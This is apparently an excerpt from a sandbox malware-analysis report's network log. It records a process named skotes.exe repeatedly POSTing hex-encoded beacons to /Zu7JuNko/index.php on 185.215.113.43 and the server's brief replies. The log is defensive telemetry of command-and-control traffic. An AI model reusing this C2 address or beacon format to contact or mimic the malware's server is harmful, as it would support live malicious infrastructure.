Oct 7, 2024 13:29:36.783404112 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:37.506202936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50094	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:39.143826008 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:29:39.845134020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50095	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:41.363447905 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:42.092799902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50096	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:43.719518900 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:29:44.541105032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50097	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:46.063364029 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:46.786784887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50098	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:48.406694889 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:29:52.120182991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50099	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:53.641808987 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:54.335619926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50100	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:55.968863964 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:29:56.670700073 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50101	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:29:58.187511921 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:29:58.898516893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:29:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50102	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:00.529695988 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:01.337326050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50103	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:02.859955072 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:03.637866020 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50104	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:05.265744925 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:06.035767078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50105	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:07.545583010 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:08.243896008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50106	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:09.876715899 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:10.587779999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50107	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:12.110024929 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:12.813745022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50108	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:14.452023983 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:15.171610117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50109	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:16.686351061 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:17.388088942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50110	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:19.002279997 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:19.722722054 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50111	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:21.907543898 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:22.620378017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50112	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:24.250787973 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:24.950452089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50113	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:27.003731012 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:27.727797031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50114	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:29.359404087 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:30:30.049616098 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50115	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:30:31.564387083 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:30:32.268177032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:30:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50116	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

